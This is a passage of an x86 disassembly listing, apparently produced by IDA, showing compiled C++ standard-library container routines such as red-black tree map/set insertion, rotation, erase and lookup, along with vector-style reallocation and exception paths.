		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp-40h]
		push	eax
		mov	ecx, esi
		call	sub_401315
		lea	eax, [esi+1Ch]
		lea	ebx, [ebp-24h]
		call	sub_4056BC
		add	esi, 2Ch
		cmp	esi, edi
		jnz	short loc_40A19E
		jmp	short loc_40A221
; ---------------------------------------------------------------------------


loc_40A1C1:				; DATA XREF: .vty:00421188o
		mov	eax, [ebp+8]
		mov	eax, [eax+8]
		add	eax, 2Ch
		push	eax
		mov	eax, [ebp+10h]
		add	eax, 2Ch
		call	sub_4067F1
		jmp	loc_40A138
; ---------------------------------------------------------------------------


loc_40A1DB:				; CODE XREF: sub_40A022+132j
		push	edi
		lea	ecx, [edi-2Ch]
		push	edi
		mov	[ebp+8], ecx
		call	sub_40B203
		mov	[esi+8], eax
		mov	eax, [ebp+8]
		push	edi
		push	ebx
		call	sub_40B227
		lea	edi, [ebx+2Ch]
		cmp	ebx, edi
		pop	ecx
		pop	ecx
		mov	esi, ebx
		jz	short loc_40A221


loc_40A200:				; CODE XREF: sub_40A022+1FDj
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp-40h]
		push	eax
		mov	ecx, esi
		call	sub_401315
		lea	eax, [esi+1Ch]
		lea	ebx, [ebp-24h]
		call	sub_4056BC
		add	esi, 2Ch
		cmp	esi, edi
		jnz	short loc_40A200


loc_40A221:				; CODE XREF: sub_40A022+FDj
					; sub_40A022+176j ...
		lea	esi, [ebp-24h]
		call	sub_405AAC
		push	0
		push	1
		lea	ecx, [ebp-40h]
		call	sub_4013C4
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	0Ch
sub_40A022	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A246	proc near		; CODE XREF: sub_409A1D+4Bp
		mov	eax, offset loc_41B13B
		call	sub_41AE44
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	[ebp-10h], esp
		push	dword ptr [ebp+0Ch]
		lea	ecx, [ebp-2Ch]
		call	sub_401C1E
		xor	ebx, ebx
		mov	[ebp-4], ebx
		mov	ecx, [esi+4]
		cmp	ecx, ebx
		jz	short loc_40A280
		mov	eax, [esi+0Ch]
		sub	eax, ecx
		push	1Ch
		cdq
		pop	ecx
		idiv	ecx
		mov	ebx, eax


loc_40A280:				; CODE XREF: sub_40A246+2Bj
		mov	eax, esi
		call	sub_4057B6
		mov	edi, 9249249h
		mov	ecx, edi
		sub	ecx, eax
		cmp	ecx, 1
		jnb	short loc_40A29A
		call	sub_40684D


loc_40A29A:				; CODE XREF: sub_40A246+4Dj
		mov	eax, esi
		call	sub_4057B6
		inc	eax
		cmp	ebx, eax
		jnb	loc_40A365
		mov	eax, ebx
		shr	eax, 1
		sub	edi, eax
		cmp	edi, ebx
		jnb	short loc_40A2B8
		xor	ebx, ebx
		jmp	short loc_40A2BA
; ---------------------------------------------------------------------------


loc_40A2B8:				; CODE XREF: sub_40A246+6Cj
		add	ebx, eax


loc_40A2BA:				; CODE XREF: sub_40A246+70j
		mov	eax, esi
		call	sub_4057B6
		inc	eax
		cmp	ebx, eax
		jnb	short loc_40A2D0
		mov	eax, esi
		call	sub_4057B6
		mov	ebx, eax
		inc	ebx


loc_40A2D0:				; CODE XREF: sub_40A246+7Ej
		mov	ecx, ebx
		call	sub_405F1C
		push	eax
		push	dword ptr [ebp+14h]
		mov	byte ptr [ebp-4], 1
		mov	ecx, [esi+4]
		mov	[ebp+0Ch], eax
		mov	[ebp+8], eax
		call	sub_40B26B
		lea	ecx, [ebp-2Ch]
		push	ecx
		push	1
		push	eax
		mov	[ebp+8], eax
		call	sub_409A9C
		mov	ecx, [ebp+14h]
		push	eax
		push	dword ptr [esi+8]
		mov	[ebp+8], eax
		call	sub_40B26B
		mov	eax, esi
		call	sub_4057B6
		mov	edi, eax
		mov	eax, [esi+4]
		inc	edi
		test	eax, eax
		jz	short loc_40A32D
		push	dword ptr [esi+8]
		call	sub_405A8F
		push	dword ptr [esi+4]
		call	sub_40DD8A
		pop	ecx


loc_40A32D:				; CODE XREF: sub_40A246+D4j
		mov	eax, [ebp+0Ch]
		imul	ebx, 1Ch
		imul	edi, 1Ch
		add	ebx, eax
		add	edi, eax
		mov	[esi+0Ch], ebx
		mov	[esi+8], edi
		mov	[esi+4], eax
		jmp	loc_40A42E
; ---------------------------------------------------------------------------


loc_40A348:				; DATA XREF: .vty:004208C0o
		push	dword ptr [ebp+8]
		mov	eax, [ebp+0Ch]
		call	sub_405A8F
		push	dword ptr [ebp+0Ch]
		call	sub_40DD8A
		pop	ecx


loc_40A35C:				; CODE XREF: sub_40A246+19Dj
		push	0
		push	0
		call	sub_4107BC


loc_40A365:				; CODE XREF: sub_40A246+5Ej
		mov	edi, [esi+8]
		mov	ebx, [ebp+14h]
		mov	eax, edi
		sub	eax, ebx
		push	1Ch
		cdq
		pop	ecx
		idiv	ecx
		cmp	eax, 1
		jnb	short loc_40A3E8
		lea	eax, [ebx+1Ch]
		push	eax
		push	edi
		mov	ecx, ebx
		call	sub_40B26B
		mov	byte ptr [ebp-4], 3
		mov	ecx, [esi+8]
		lea	eax, [ebp-2Ch]
		push	eax
		mov	eax, ecx
		sub	eax, ebx
		push	1Ch
		pop	edi
		cdq
		idiv	edi
		xor	edx, edx
		inc	edx
		sub	edx, eax
		push	edx
		push	ecx
		call	sub_409A9C
		and	dword ptr [ebp-4], 0
		add	[esi+8], edi
		mov	esi, [esi+8]
		add	esi, 0FFFFFFE4h
		jmp	short loc_40A3C8
; ---------------------------------------------------------------------------


loc_40A3B6:				; CODE XREF: sub_40A246+184j
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp-2Ch]
		push	eax
		mov	ecx, ebx
		call	sub_401315
		add	ebx, 1Ch


loc_40A3C8:				; CODE XREF: sub_40A246+16Ej
		cmp	ebx, esi
		jnz	short loc_40A3B6
		jmp	short loc_40A42E
; ---------------------------------------------------------------------------


loc_40A3CE:				; DATA XREF: .vty:004208D0o
		mov	eax, [ebp+8]
		mov	eax, [eax+8]
		add	eax, 1Ch
		push	eax
		mov	eax, [ebp+14h]
		add	eax, 1Ch
		call	sub_405A8F
		jmp	loc_40A35C
; ---------------------------------------------------------------------------


loc_40A3E8:				; CODE XREF: sub_40A246+132j
		push	edi
		lea	ecx, [edi-1Ch]
		push	edi
		call	sub_40B26B
		mov	[esi+8], eax
		lea	esi, [edi-1Ch]
		cmp	ebx, esi
		jz	short loc_40A40F
		sub	edi, esi


loc_40A3FE:				; CODE XREF: sub_40A246+1C7j
		sub	esi, 1Ch
		lea	ecx, [edi+esi]
		mov	eax, esi
		call	sub_40B455
		cmp	esi, ebx
		jnz	short loc_40A3FE


loc_40A40F:				; CODE XREF: sub_40A246+1B4j
		lea	edi, [ebx+1Ch]
		cmp	ebx, edi
		mov	esi, ebx
		jz	short loc_40A42E


loc_40A418:				; CODE XREF: sub_40A246+1E6j
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp-2Ch]
		push	eax
		mov	ecx, esi
		call	sub_401315
		add	esi, 1Ch
		cmp	esi, edi
		jnz	short loc_40A418


loc_40A42E:				; CODE XREF: sub_40A246+FDj
					; sub_40A246+186j ...
		push	0
		push	1
		lea	ecx, [ebp-2Ch]
		call	sub_4013C4
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	10h
sub_40A246	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A44B	proc near		; CODE XREF: sub_409ACC+166p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+4]
		push	edi
		mov	edi, [eax+4]
		mov	[ebp+var_4], eax
		mov	al, 1
		mov	byte ptr [ebp+var_8], al
		jmp	short loc_40A482
; ---------------------------------------------------------------------------


loc_40A466:				; CODE XREF: sub_40A44B+3Bj
		mov	eax, [ebp+arg_4]
		lea	ecx, [edi+0Ch]
		mov	[ebp+var_4], edi
		call	sub_409C4D
		test	al, al
		mov	byte ptr [ebp+var_8], al
		jz	short loc_40A47F
		mov	edi, [edi]
		jmp	short loc_40A482
; ---------------------------------------------------------------------------


loc_40A47F:				; CODE XREF: sub_40A44B+2Ej
		mov	edi, [edi+8]


loc_40A482:				; CODE XREF: sub_40A44B+19j
					; sub_40A44B+32j
		cmp	byte ptr [edi+45h], 0
		jz	short loc_40A466
		test	al, al
		mov	edi, [ebp+var_4]
		mov	[ebp+var_C], edi
		mov	[ebp+var_10], esi
		jz	short loc_40A4E1
		mov	eax, [esi+4]
		mov	eax, [eax]
		mov	[ebp+var_18], esi
		lea	edi, [ebp+var_18]
		lea	esi, [ebp+var_10]
		mov	[ebp+var_14], eax
		call	sub_40989F
		test	al, al
		jz	short loc_40A4D3
		push	[ebp+arg_4]
		mov	esi, [ebp+arg_0]
		push	1


loc_40A4B7:				; CODE XREF: sub_40A44B+ABj
		mov	ecx, [ebp+var_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40A5B6
		mov	ecx, [eax]
		mov	eax, [eax+4]
		mov	[ebx], ecx
		mov	[ebx+4], eax
		mov	byte ptr [ebx+8], 1
		jmp	short loc_40A504
; ---------------------------------------------------------------------------


loc_40A4D3:				; CODE XREF: sub_40A44B+62j
		lea	esi, [ebp+var_10]
		call	sub_40A8CD
		mov	edi, [ebp+var_C]
		mov	esi, [ebp+arg_0]


loc_40A4E1:				; CODE XREF: sub_40A44B+48j
		mov	ecx, [ebp+arg_4]
		lea	eax, [edi+0Ch]
		call	sub_409C4D
		test	al, al
		jz	short loc_40A4F8
		push	[ebp+arg_4]
		push	[ebp+var_8]
		jmp	short loc_40A4B7
; ---------------------------------------------------------------------------


loc_40A4F8:				; CODE XREF: sub_40A44B+A3j
		mov	eax, [ebp+var_10]
		mov	[ebx], eax
		mov	[ebx+4], edi
		mov	byte ptr [ebx+8], 0


loc_40A504:				; CODE XREF: sub_40A44B+86j
		pop	edi
		mov	eax, ebx
		pop	esi
		leave
		retn	8
sub_40A44B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A50C	proc near		; CODE XREF: sub_4096B6+1Ap

var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebx+4]
		mov	eax, [eax]
		push	esi
		push	edi
		lea	edi, [ebp+var_C]
		lea	esi, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], ebx
		call	sub_40989F
		test	al, al
		jz	short loc_40A593
		mov	eax, [ebx+4]
		lea	edi, [ebp+var_C]
		lea	esi, [ebp+arg_C]
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], ebx
		call	sub_40989F
		test	al, al
		jz	short loc_40A593
		mov	eax, [ebx+4]
		push	dword ptr [eax+4]
		mov	ecx, ebx
		call	sub_40B079
		mov	eax, [ebx+4]
		mov	[eax+4], eax
		mov	eax, [ebx+4]
		and	dword ptr [ebx+8], 0
		mov	[eax], eax
		mov	eax, [ebx+4]
		mov	[eax+8], eax
		mov	eax, [ebx+4]
		mov	ecx, [eax]
		mov	eax, [ebp+arg_0]
		mov	[eax], ebx
		jmp	short loc_40A5AD
; ---------------------------------------------------------------------------


loc_40A574:				; CODE XREF: sub_40A50C+94j
		mov	eax, [ebp+arg_8]
		mov	edi, [ebp+arg_4]
		lea	esi, [ebp+arg_4]
		mov	[ebp+var_8], eax
		call	sub_409852
		push	[ebp+var_8]
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		push	ebx
		call	sub_40A92E


loc_40A593:				; CODE XREF: sub_40A50C+20j
					; sub_40A50C+38j
		lea	edi, [ebp+arg_C]
		lea	esi, [ebp+arg_4]
		call	sub_40989F
		test	al, al
		jz	short loc_40A574
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	[eax], ecx
		mov	ecx, [ebp+arg_8]


loc_40A5AD:				; CODE XREF: sub_40A50C+66j
		pop	edi
		mov	[eax+4], ecx
		pop	esi
		leave
		retn	14h
sub_40A50C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A5B6	proc near		; CODE XREF: sub_409ACC+25p
					; sub_40A44B+73p
		mov	eax, offset loc_41B10D
		call	sub_41AE44
		sub	esp, 48h
		cmp	dword ptr [esi+8], 4924923h
		push	ebx
		push	edi
		mov	edi, ecx
		jb	short loc_40A602
		push	offset aMapSetTTooLong ; "map/set<T> too long"
		lea	ecx, [ebp-28h]
		call	sub_401C44
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-50h]
		call	sub_401869
		push	offset dword_41FEF8
		lea	eax, [ebp-50h]
		push	eax
		mov	dword ptr [ebp-50h], offset off_41C2A8
		call	sub_4107BC


loc_40A602:				; CODE XREF: sub_40A5B6+18j
		push	dword ptr [ebp+10h]
		mov	eax, [esi+4]
		push	eax
		push	edi
		push	eax
		call	sub_40AC8B
		inc	dword ptr [esi+8]
		mov	ebx, eax
		mov	eax, [esi+4]
		cmp	edi, eax
		jnz	short loc_40A629
		mov	[eax+4], ebx
		mov	eax, [esi+4]
		mov	[eax], ebx
		mov	eax, [esi+4]
		jmp	short loc_40A647
; ---------------------------------------------------------------------------


loc_40A629:				; CODE XREF: sub_40A5B6+64j
		cmp	byte ptr [ebp+0Ch], 0
		jz	short loc_40A63C
		mov	[edi], ebx
		mov	eax, [esi+4]
		cmp	edi, [eax]
		jnz	short loc_40A64A
		mov	[eax], ebx
		jmp	short loc_40A64A
; ---------------------------------------------------------------------------


loc_40A63C:				; CODE XREF: sub_40A5B6+77j
		mov	[edi+8], ebx
		mov	eax, [esi+4]
		cmp	edi, [eax+8]
		jnz	short loc_40A64A


loc_40A647:				; CODE XREF: sub_40A5B6+71j
		mov	[eax+8], ebx


loc_40A64A:				; CODE XREF: sub_40A5B6+80j
					; sub_40A5B6+84j ...
		mov	edi, ebx
		lea	eax, [ebx+4]
		jmp	loc_40A6DE
; ---------------------------------------------------------------------------


loc_40A654:				; CODE XREF: sub_40A5B6+12Ej
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		cmp	ecx, [edx]
		jnz	short loc_40A692
		mov	edx, [edx+8]
		cmp	byte ptr [edx+44h], 0
		jz	short loc_40A69A
		cmp	edi, [ecx+8]
		jnz	short loc_40A673
		push	esi
		mov	edi, ecx
		call	sub_40ABDF


loc_40A673:				; CODE XREF: sub_40A5B6+B3j
		mov	eax, [edi+4]
		mov	byte ptr [eax+44h], 1
		mov	eax, [edi+4]
		mov	eax, [eax+4]
		mov	byte ptr [eax+44h], 0
		mov	eax, [edi+4]
		mov	ecx, [eax+4]
		push	esi
		call	sub_40AC1F
		jmp	short loc_40A6DB
; ---------------------------------------------------------------------------


loc_40A692:				; CODE XREF: sub_40A5B6+A5j
		mov	edx, [edx]
		cmp	byte ptr [edx+44h], 0
		jnz	short loc_40A6B2


loc_40A69A:				; CODE XREF: sub_40A5B6+AEj
		mov	byte ptr [ecx+44h], 1
		mov	byte ptr [edx+44h], 1
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		mov	byte ptr [ecx+44h], 0
		mov	eax, [eax]
		mov	edi, [eax+4]
		jmp	short loc_40A6DB
; ---------------------------------------------------------------------------


loc_40A6B2:				; CODE XREF: sub_40A5B6+E2j
		cmp	edi, [ecx]
		jnz	short loc_40A6BE
		push	esi
		mov	edi, ecx
		call	sub_40AC1F


loc_40A6BE:				; CODE XREF: sub_40A5B6+FEj
		mov	eax, [edi+4]
		mov	byte ptr [eax+44h], 1
		mov	eax, [edi+4]
		mov	eax, [eax+4]
		mov	byte ptr [eax+44h], 0
		mov	eax, [edi+4]
		mov	ecx, [eax+4]
		push	esi
		call	sub_40ABDF


loc_40A6DB:				; CODE XREF: sub_40A5B6+DAj
					; sub_40A5B6+FAj
		lea	eax, [edi+4]


loc_40A6DE:				; CODE XREF: sub_40A5B6+99j
		mov	ecx, [eax]
		cmp	byte ptr [ecx+44h], 0
		jz	loc_40A654
		mov	eax, [esi+4]
		mov	eax, [eax+4]
		mov	ecx, [ebp-0Ch]
		mov	byte ptr [eax+44h], 1
		mov	eax, [ebp+8]
		mov	[eax+4], ebx
		pop	edi
		mov	[eax], esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	0Ch
sub_40A5B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A70C	proc near		; CODE XREF: sub_4089E6+2E5p
					; sub_4095C0+18p

arg_0		= dword	ptr  4

		mov	eax, [eax+4]
		push	esi
		mov	esi, [eax+4]
		push	edi
		mov	edi, eax
		jmp	short loc_40A731
; ---------------------------------------------------------------------------


loc_40A718:				; CODE XREF: sub_40A70C+29j
		mov	ecx, [esp+8+arg_0]
		lea	eax, [esi+0Ch]
		call	sub_409C4D
		test	al, al
		jz	short loc_40A72D
		mov	esi, [esi+8]
		jmp	short loc_40A731
; ---------------------------------------------------------------------------


loc_40A72D:				; CODE XREF: sub_40A70C+1Aj
		mov	edi, esi
		mov	esi, [esi]


loc_40A731:				; CODE XREF: sub_40A70C+Aj
					; sub_40A70C+1Fj
		cmp	byte ptr [esi+45h], 0
		jz	short loc_40A718
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_40A70C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A73E	proc near		; CODE XREF: sub_4096EB+19p

var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [edi+4]
		sub	esp, 14h
		cmp	[ebp+arg_0], 0
		push	esi
		mov	esi, [eax]
		jz	short loc_40A755
		cmp	[ebp+arg_0], edi
		jz	short loc_40A75A


loc_40A755:				; CODE XREF: sub_40A73E+10j
		call	sub_40DCFC


loc_40A75A:				; CODE XREF: sub_40A73E+15j
		cmp	[ebp+arg_4], esi
		jnz	short loc_40A7A2
		cmp	[ebp+arg_8], 0
		mov	esi, [edi+4]
		jz	short loc_40A76D
		cmp	[ebp+arg_8], edi
		jz	short loc_40A772


loc_40A76D:				; CODE XREF: sub_40A73E+28j
		call	sub_40DCFC


loc_40A772:				; CODE XREF: sub_40A73E+2Dj
		cmp	[ebp+arg_C], esi
		jnz	short loc_40A7A2
		mov	eax, [edi+4]
		push	dword ptr [eax+4]
		mov	ecx, edi
		call	sub_40B0CB
		mov	eax, [edi+4]
		mov	[eax+4], eax
		mov	eax, [edi+4]
		and	dword ptr [edi+8], 0
		mov	[eax], eax
		mov	eax, [edi+4]
		mov	[eax+8], eax
		mov	eax, [edi+4]
		mov	eax, [eax]
		mov	[ebx], edi
		jmp	short loc_40A7E0
; ---------------------------------------------------------------------------


loc_40A7A2:				; CODE XREF: sub_40A73E+1Fj
					; sub_40A73E+37j ...
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_40A7AE
		cmp	eax, [ebp+arg_8]
		jz	short loc_40A7B3


loc_40A7AE:				; CODE XREF: sub_40A73E+69j
		call	sub_40DCFC


loc_40A7B3:				; CODE XREF: sub_40A73E+6Ej
		mov	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_0]
		jz	short loc_40A7DE
		lea	esi, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		call	sub_40B11B
		push	[ebp+var_4]
		lea	eax, [ebp+var_10]
		push	[ebp+var_8]
		push	eax
		push	edi
		call	sub_40ACEC
		jmp	short loc_40A7A2
; ---------------------------------------------------------------------------


loc_40A7DE:				; CODE XREF: sub_40A73E+7Ej
		mov	[ebx], ecx


loc_40A7E0:				; CODE XREF: sub_40A73E+62j
		mov	[ebx+4], eax
		mov	eax, ebx
		pop	esi
		leave
		retn	10h
sub_40A73E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A7EA	proc near		; CODE XREF: sub_409C73+B8p
					; sub_409C73+120p ...

arg_0		= dword	ptr  4

		mov	eax, [ecx+8]
		mov	edx, [eax]
		mov	[ecx+8], edx
		mov	edx, [eax]
		cmp	byte ptr [edx+39h], 0
		jnz	short loc_40A7FD
		mov	[edx+4], ecx


loc_40A7FD:				; CODE XREF: sub_40A7EA+Ej
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	edx, [esp+arg_0]
		mov	edx, [edx+4]
		cmp	ecx, [edx+4]
		jnz	short loc_40A814
		mov	[edx+4], eax
		jmp	short loc_40A822
; ---------------------------------------------------------------------------


loc_40A814:				; CODE XREF: sub_40A7EA+23j
		mov	edx, [ecx+4]
		cmp	ecx, [edx]
		jnz	short loc_40A81F
		mov	[edx], eax
		jmp	short loc_40A822
; ---------------------------------------------------------------------------


loc_40A81F:				; CODE XREF: sub_40A7EA+2Fj
		mov	[edx+8], eax


loc_40A822:				; CODE XREF: sub_40A7EA+28j
					; sub_40A7EA+33j
		mov	[eax], ecx
		mov	[ecx+4], eax
		retn	4
sub_40A7EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A82A	proc near		; CODE XREF: sub_409C73+D5p
					; sub_409C73+103p ...

arg_0		= dword	ptr  4

		mov	eax, [ecx]
		mov	edx, [eax+8]
		mov	[ecx], edx
		mov	edx, [eax+8]
		cmp	byte ptr [edx+39h], 0
		jnz	short loc_40A83D
		mov	[edx+4], ecx


loc_40A83D:				; CODE XREF: sub_40A82A+Ej
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	edx, [esp+arg_0]
		mov	edx, [edx+4]
		cmp	ecx, [edx+4]
		jnz	short loc_40A854
		mov	[edx+4], eax
		jmp	short loc_40A863
; ---------------------------------------------------------------------------


loc_40A854:				; CODE XREF: sub_40A82A+23j
		mov	edx, [ecx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_40A861
		mov	[edx+8], eax
		jmp	short loc_40A863
; ---------------------------------------------------------------------------


loc_40A861:				; CODE XREF: sub_40A82A+30j
		mov	[edx], eax


loc_40A863:				; CODE XREF: sub_40A82A+28j
					; sub_40A82A+35j
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		retn	4
sub_40A82A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A86C	proc near		; CODE XREF: sub_409C73+55p
		mov	eax, offset loc_41B34D
		call	sub_41AE44
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		push	3Ch
		call	sub_40DE68
		mov	esi, eax
		pop	ecx
		mov	[ebp-14h], esi
		test	esi, esi
		mov	dword ptr [ebp-4], 1
		jz	short loc_40A8A7
		push	dword ptr [ebp+10h]
		mov	ebx, [ebp+14h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40B025


loc_40A8A7:				; CODE XREF: sub_40A86C+28j
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	10h
sub_40A86C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A8BA	proc near		; DATA XREF: .vty:00420DECo
		push	dword ptr [ebp-14h]
		call	sub_40DD8A
		pop	ecx
		push	0
		push	0
		call	sub_4107BC
		int	3		; Trap to Debugger
sub_40A8BA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40A8CD	proc near		; CODE XREF: sub_409ACC+C5p
					; sub_40A44B+8Bp
		push	ebx
		xor	ebx, ebx
		cmp	[esi], ebx
		jnz	short loc_40A8D9
		call	sub_40DCFC


loc_40A8D9:				; CODE XREF: sub_40A8CD+5j
		mov	eax, [esi+4]
		cmp	[eax+45h], bl
		jz	short loc_40A8EE
		mov	eax, [eax+8]
		mov	[esi+4], eax
		cmp	[eax+45h], bl
		jz	short loc_40A92A
		jmp	short loc_40A920
; ---------------------------------------------------------------------------


loc_40A8EE:				; CODE XREF: sub_40A8CD+12j
		mov	ecx, [eax]
		cmp	[ecx+45h], bl
		jnz	short loc_40A910
		jmp	short loc_40A8F9
; ---------------------------------------------------------------------------


loc_40A8F7:				; CODE XREF: sub_40A8CD+32j
		mov	ecx, eax


loc_40A8F9:				; CODE XREF: sub_40A8CD+28j
		mov	eax, [ecx+8]
		cmp	[eax+45h], bl
		jz	short loc_40A8F7
		mov	[esi+4], ecx
		jmp	short loc_40A92A
; ---------------------------------------------------------------------------


loc_40A906:				; CODE XREF: sub_40A8CD+49j
		mov	ecx, [esi+4]
		cmp	ecx, [eax]
		jnz	short loc_40A918
		mov	[esi+4], eax


loc_40A910:				; CODE XREF: sub_40A8CD+26j
		mov	eax, [eax+4]
		cmp	[eax+45h], bl
		jz	short loc_40A906


loc_40A918:				; CODE XREF: sub_40A8CD+3Ej
		mov	ecx, [esi+4]
		cmp	[ecx+45h], bl
		jz	short loc_40A927


loc_40A920:				; CODE XREF: sub_40A8CD+1Fj
		call	sub_40DCFC
		jmp	short loc_40A92A
; ---------------------------------------------------------------------------


loc_40A927:				; CODE XREF: sub_40A8CD+51j
		mov	[esi+4], eax


loc_40A92A:				; CODE XREF: sub_40A8CD+1Dj
					; sub_40A8CD+37j ...
		mov	eax, esi
		pop	ebx
		retn
sub_40A8CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A92E	proc near		; CODE XREF: sub_40A50C+82p
		mov	eax, offset loc_41AFA6
		call	sub_41AE44
		sub	esp, 48h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+14h]
		cmp	byte ptr [edi+45h], 0
		jz	short loc_40A979
		push	offset aInvalidMapSetT ; "invalid map/set<T> iterator"
		lea	ecx, [ebp-2Ch]
		call	sub_401C44
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-2Ch]
		push	eax
		lea	ecx, [ebp-54h]
		call	sub_401869
		push	offset dword_41FF68
		lea	eax, [ebp-54h]
		push	eax
		mov	dword ptr [ebp-54h], offset off_41C2B4
		call	sub_4107BC


loc_40A979:				; CODE XREF: sub_40A92E+17j
		lea	esi, [ebp+10h]
		call	sub_409852
		mov	ecx, [edi]
		cmp	byte ptr [ecx+45h], 0
		jz	short loc_40A98E
		mov	ebx, [edi+8]
		jmp	short loc_40A9A5
; ---------------------------------------------------------------------------


loc_40A98E:				; CODE XREF: sub_40A92E+59j
		mov	eax, [edi+8]
		cmp	byte ptr [eax+45h], 0
		jz	short loc_40A99B
		mov	ebx, ecx
		jmp	short loc_40A9A5
; ---------------------------------------------------------------------------


loc_40A99B:				; CODE XREF: sub_40A92E+67j
		mov	eax, [ebp+14h]
		cmp	eax, edi
		mov	ebx, [eax+8]
		jnz	short loc_40AA1B


loc_40A9A5:				; CODE XREF: sub_40A92E+5Ej
					; sub_40A92E+6Bj
		cmp	byte ptr [ebx+45h], 0
		mov	esi, [edi+4]
		jnz	short loc_40A9B1
		mov	[ebx+4], esi


loc_40A9B1:				; CODE XREF: sub_40A92E+7Ej
		mov	ecx, [ebp+8]
		mov	eax, [ecx+4]
		cmp	[eax+4], edi
		jnz	short loc_40A9C1
		mov	[eax+4], ebx
		jmp	short loc_40A9CC
; ---------------------------------------------------------------------------


loc_40A9C1:				; CODE XREF: sub_40A92E+8Cj
		cmp	[esi], edi
		jnz	short loc_40A9C9
		mov	[esi], ebx
		jmp	short loc_40A9CC
; ---------------------------------------------------------------------------


loc_40A9C9:				; CODE XREF: sub_40A92E+95j
		mov	[esi+8], ebx


loc_40A9CC:				; CODE XREF: sub_40A92E+91j
					; sub_40A92E+99j
		mov	edx, [ecx+4]
		cmp	[edx], edi
		jnz	short loc_40A9EF
		cmp	byte ptr [ebx+45h], 0
		jz	short loc_40A9DD
		mov	ecx, esi
		jmp	short loc_40A9ED
; ---------------------------------------------------------------------------


loc_40A9DD:				; CODE XREF: sub_40A92E+A9j
		mov	eax, [ebx]
		mov	ecx, ebx
		jmp	short loc_40A9E7
; ---------------------------------------------------------------------------


loc_40A9E3:				; CODE XREF: sub_40A92E+BDj
		mov	ecx, eax
		mov	eax, [ecx]


loc_40A9E7:				; CODE XREF: sub_40A92E+B3j
		cmp	byte ptr [eax+45h], 0
		jz	short loc_40A9E3


loc_40A9ED:				; CODE XREF: sub_40A92E+ADj
		mov	[edx], ecx


loc_40A9EF:				; CODE XREF: sub_40A92E+A3j
		mov	eax, [ebp+8]
		mov	edx, [eax+4]
		cmp	[edx+8], edi
		jnz	short loc_40AA75
		cmp	byte ptr [ebx+45h], 0
		jz	short loc_40AA04
		mov	ecx, esi
		jmp	short loc_40AA16
; ---------------------------------------------------------------------------


loc_40AA04:				; CODE XREF: sub_40A92E+D0j
		mov	eax, [ebx+8]
		mov	ecx, ebx
		jmp	short loc_40AA10
; ---------------------------------------------------------------------------


loc_40AA0B:				; CODE XREF: sub_40A92E+E6j
		mov	ecx, eax
		mov	eax, [ecx+8]


loc_40AA10:				; CODE XREF: sub_40A92E+DBj
		cmp	byte ptr [eax+45h], 0
		jz	short loc_40AA0B


loc_40AA16:				; CODE XREF: sub_40A92E+D4j
		mov	[edx+8], ecx
		jmp	short loc_40AA75
; ---------------------------------------------------------------------------


loc_40AA1B:				; CODE XREF: sub_40A92E+75j
		mov	[ecx+4], eax
